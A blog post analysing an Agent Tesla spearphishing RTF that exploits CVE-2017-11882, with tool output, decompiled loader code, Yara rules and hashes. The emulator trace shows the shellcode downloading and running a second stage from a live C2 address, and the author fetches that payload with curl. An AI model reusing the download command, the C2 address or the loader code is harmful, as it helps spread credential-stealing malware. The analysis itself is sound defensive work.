Thursday, June 22, 2023

Agent Tesla Spearphishing

More .NET malware analysis. In this post, we'll be analyzing another spearphishing email, this time masquerading as a mathematics paper exploiting CVE-2017-11882. And we'll generate some Yara rules for detecting it. We'll start by using the well known rtfdump.py utility to see what sections might hold our payload. You can find the original sample on MalwareBazaar or VirusTotal via the hash:

~$ rtfdump.py 62b24cbb76ba7b4d7df8d6f39b1521e8e8a6063789c4be19059d4f94dceb358e.rtf
    1 Level  1        c=    2 p=00000000 l=   37123 h=    7185;      18 b=       0   u=
10193 \rtf1
    2  Level  2       c=    0 p=00000012 l=      21 h=       0;       0 b=       0   u=
0 \*\rtlrun315655465
    3  Level  2       c=    1 p=0000002a l=   37080 h=    7185;      18 b=       0   u=
10193
    4   Level  3      c=    2 p=0000423f l=   20162 h=    2936;      18 b=       0 O u=
0
      Name: b'eqUATion.3\x00' Size: 1425 md5: 2a602d5f0726cbaf15639a9c5d78029f magic: 027e51eb
    5    Level  4     c=    0 p=00004266 l=      46 h=       0;      18 b=       0   u=
0 \*\objtime403735514
    6    Level  4     c=    0 p=00004297 l=      47 h=      10;      18 b=       0   u=
5 \*\dgm

The sections are off-by-one. But our payload likely resides in the eqUATion stream, indicating an OLE object handled by Microsoft's Equation editor, so we'll dump just that section of the file:

~$ rtfdump.py -d -H -s 4 62b24cbb76ba7b4d7df8d6f39b1521e8e8a6063789c4be19059d4f94dceb358e.rtf >
4.dat

And now that we've isolated just that section of the file, we'll search it for possible shellcode entries using xorsearch:

~$ xorsearch -W 4.dat
Found XOR 00 position 0000006F: GetEIP method 2 EB7C
Found ROT 25 position 0000006F: GetEIP method 2 EB7C
Found ROT 24 position 0000006F: GetEIP method 2 EB7C
Found ROT 24 position 000000A4: GetEIP method 2 EB47
Found ROT 23 position 0000006F: GetEIP method 2 EB7C
Found ROT 22 position 0000006F: GetEIP method 2 EB7C
Found ROT 22 position 00000071: GetEIP method 2 EB7A
Found ROT 21 position 0000006F: GetEIP method 2 EB7C
..

Now we have an offset 0x0000006F which we can plug into our debugger and emulate the calls on our Windows machine via scdbg, which will reveal relevant assembly and syscalls:

Loaded 5bc bytes from file C:\Users\red\4.dat                                                      $
Initialization Complete..                                                                          $
Dump mode Active...                                                                                $
Max Steps: 2000000                                                                                 $
Using base offset: 0x401000                                                                        $
Execution starts at file offset 6f                                                                 $
40106f  EB7C                            jmp 0x4010ed  vv                                           $
401071  EB76                            jmp 0x4010e9  vv                                           $
401073  EB26                            jmp 0x40109b  vv                                           $
401075  9C                              pushf                                                      $
401076  57                              push edi                                                   $
40138d  GetProcAddress(ExpandEnvironmentStringsW)                                                  $
4013da  ExpandEnvironmentStringsW(%APPDATA%\obidad467652386.exe, dst=12fb84, sz=104)               $
4013ef  LoadLibraryW(UrlMon)                                                                       $
40140a  GetProcAddress(URLDownloadToFileW)                                                         $
40145a  URLDownloadToFileW(http://194.180.48.59/obizx.exe,
C:\Users\red\AppData\Roaming\obidad467652386.exe)            
401472  GetProcAddress(GetStartupInfoW)
40147c  GetStartupInfoW(12fda4)                                                                    $
401493  GetProcAddress(CreateProcessW)                                                             $
4014b8  CreateProcessW( , C:\Users\red\AppData\Roaming\obidad467652386.exe ) = 0x1269              $
4014cc  GetProcAddress(ExitProcess)                                                                $
4014d0  ExitProcess(0)                                                                             $
Stepcount 40035                                                                                    $
Primary memory: Reading 0x5bc bytes from 0x401000                                                  $
Scanning for changes...                                                                            $
Change found at 785 dumping to C:\Users\red\4.unpack                                               $
Data dumped successfully to disk

In the emulator, we can see the malware sample calls to server http://194.180.48.59/obizx.exe for a secondary stage. Because my ISP dislikes malware urls, I'll grab the binary via tor:

~$ curl --socks5-hostname localhost:9050 http://194.180.48.59/obizx.exe > obizx.exe
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  691k  100  691k    0     0  99006      0  0:00:07  0:00:07 --:--:--  133k

~$ file obizx.exe
obizx.exe: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

A 32 bit Portable Executable written in .NET. Let's decompile and step through it with dnSpy on a Windows machine:

In the above screenshot, shortly after stepping into this second file, we see indications that a third layer of indirection is happening. This code is calling into an embedded resource, a bitmap, doing some math over it, and loading it as assembly. Essentially, this is a third binary. Since luckily this malware didn't detach here, I simply used dnSpy to execute and step through the function, waiting until the variable b was filled, and dumped the resulting data to disk, like so:

~$ file wrap/b.bin
wrap/b.bin: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
remnux@remnux:~$ xxd wrap/b.bin | head -n 10
00000000: 4d5a 9000 0300 0000 0400 0000 ffff 0000  MZ..............
00000010: b800 0000 0000 0000 4000 0000 0000 0000  ........@.......
00000020: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000030: 0000 0000 0000 0000 0000 0000 8000 0000  ................
00000040: 0e1f ba0e 00b4 09cd 21b8 014c cd21 5468  ........!..L.!Th
00000050: 6973 2070 726f 6772 616d 2063 616e 6e6f  is program canno
00000060: 7420 6265 2072 756e 2069 6e20 444f 5320  t be run in DOS 
00000070: 6d6f 6465 2e0d 0d0a 2400 0000 0000 0000  mode....$.......
00000080: 5045 0000 4c01 0300 6a91 9364 0000 0000  PE..L...j..d....
00000090: 0000 0000 e000 0e21 0b01 3000 0090 0000  .......!..0.....

And .. indeed, we see our MZ file marker. A .NET DLL, but it appears heavily obfuscated. Glancing over function calls, I suspect this is an injector intended to help with obfuscation. I'll refrain from delving too much into the technicals of this last file, but inside we see enumeration of C# delegates, yet another Bitmap routine, and sleep timers:

namespace OoLn7NL6xpXtDZ59FM
{
	// Token: 0x02000008 RID: 8
	internal class vBbM7edeIBZDvqJeoN
	{
		// Token: 0x06000031 RID: 49 RVA: 0x00003B98 File Offset: 0x00001D98
		internal static void lQF4t7NNon5oH(int typemdt)
		{
			Type type = vBbM7edeIBZDvqJeoN.cyDkrlgVj.ResolveType(33554432 + typemdt);
			FieldInfo[] fields = type.GetFields();
			int num = 0;
			for (;;)
			{
				int num2;
				if (num >= fields.Length)
				{
					num2 = 1;
					if (!vBbM7edeIBZDvqJeoN.JVV7CEStT4j4HsaOKQ())
					{
						num2 = 0;
					}
				}
				else
				{
					FieldInfo fieldInfo = fields[num];
					MethodInfo method = (MethodInfo)vBbM7edeIBZDvqJeoN.cyDkrlgVj.ResolveMethod(fieldInfo.MetadataToken + 100663296);
					fieldInfo.SetValue(null, (MulticastDelegate)Delegate.CreateDelegate(type, method));
					num++;
					num2 = 0;
					if (vBbM7edeIBZDvqJeoN.JVV7CEStT4j4HsaOKQ())
					{
						num2 = 0;
					}
				}
				switch (num2)
				{
				case 1:
					return;
				}
			}
		}

Another snippet of code from the third stage using GZipStream to parse out its self-contained Resources section.

public static byte[] DGyXdbxHY()
{
	byte[] zita = Resource1.Zita;
	byte[] result;
	for (;;)
	{
		using (GZipStream gzipStream = new GZipStream(new MemoryStream(zita), CompressionMode.Decompress))
		{
			byte[] buffer = new byte[4096];
			MemoryStream memoryStream = new MemoryStream();
			try
			{
				int num;
				do
				{
					num = gzipStream.Read(buffer, 0, 4096);
					bool flag = num > 0;
					if (flag)
					{
						memoryStream.Write(buffer, 0, num);
					}
				}
				while (num > 0);
				int num2 = 0;
				if (np1QfPjygwjeLbwOH6.aWsTOLfWZ4Kpv4QqnH() != null)
				{
					int num3;
					num2 = num3;
				}
				switch (num2)
				{
				}
				result = memoryStream.ToArray();
				break;
			}
			finally
			{
				if (memoryStream != null)
				{
					np1QfPjygwjeLbwOH6.FYVtWQuu8Rx9kvMAOi(memoryStream);
				}
			}
		}
	}
	return result;
}

Since this is a DLL, I can't run and step through it with dnSpy and dump this last component to disk. But returning to dynamic analysis, we see this malware is basically an infostealer, Agent Tesla I believe. It performs process injection, pilfers the machine for credentials, private information, and so on. And then follows up by trying to reach out and exfiltrate any data it collected via SMTP, courtesy of Google's Gmail:

We could spend hours doing a very pedantic static analysis, or we could write some Yara rules for detecting all three stages of this malware sample. This sample is quite similar to the last .NET Agent Tesla infostealer I analyzed. I've uploaded the samples and Yara rules to a Gist on github. First Yara rule for detecting the RTF file:

rule AgentTeslaRTF
{
  strings:
    $test1 = "onSTUDENT No: 20"
    $test2 = "Frank Hutton"
    $hex1 = { 5c 2b 5c 6f 62 6a 75 70 64 61 74 65 38 34 33 35 }
    $hex2 = { EB 7C EB 76 EB 26 9C 57 } /* shell code */
  condition:
    uint32be(0) == 0x7B5C7274 /* rtf */
    and 3 of ($test1, $test2, $hex1, $hex2)
}

And our second stage:

rule AgentTeslaRTF
{
  strings:
    $test0 = "CourseProject.CauchyInfoForm.resources"
    $test1 = "neymanMethodObj"
    $hex1 = { 69 6e 76 65 72 73 65 46 75 6e 63 74 69 6f 6e 4d }
    $hex2 = { 0b 01 1a 53 79 73 74 65 6d 2e 52 65 66 6c 65 63 74 69 6f 6e 2e 41 73 73 65 6d 62 6c 79 01 04 4c }
    $dos = "546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f6465" ascii
  condition:
    3 of ($test0, $test1, $hex1, $hex2, $dos)
}

And our third stage:

rule AgentTeslaRTF
{
  strings:
    $test0 = "Lavender Aera"
    $test1 = "Fragrant Flower Lawn Services"
    $test2 = "Creet.g.resources"
    $hex1 = { 65 00 49 6e 76 6f 6b 65 }
    $hex2 = { 47 65 74 45 6e 74 72 79 41 73 73 65 6d 62 6c 79 }
    $hex3 = { 67 72 61 6e 74 20 46 6c 6f 77 65 72 20 4c 61 77 }
  condition:
    3 of ($test0, $test1, $test2, $hex1, $hex2, $hex3)
}

SHA256 hashes:

  • 62b24cbb76ba7b4d7df8d6f39b1521e8e8a6063789c4be19059d4f94dceb358e
    • sample.rtf
  • d019bc9b8c0bd6b5510d725027eee6ecea4f831cc63a7238785d93d6282fa1ff
    • obizx.exe
  • 99fb68fdb697e92cf0f8c5bdb6b2c312668dc4dff22671d40ad23f04697a8a5d
    • b.bin

IOC url/C2: http://194.180.48.59

1 comment: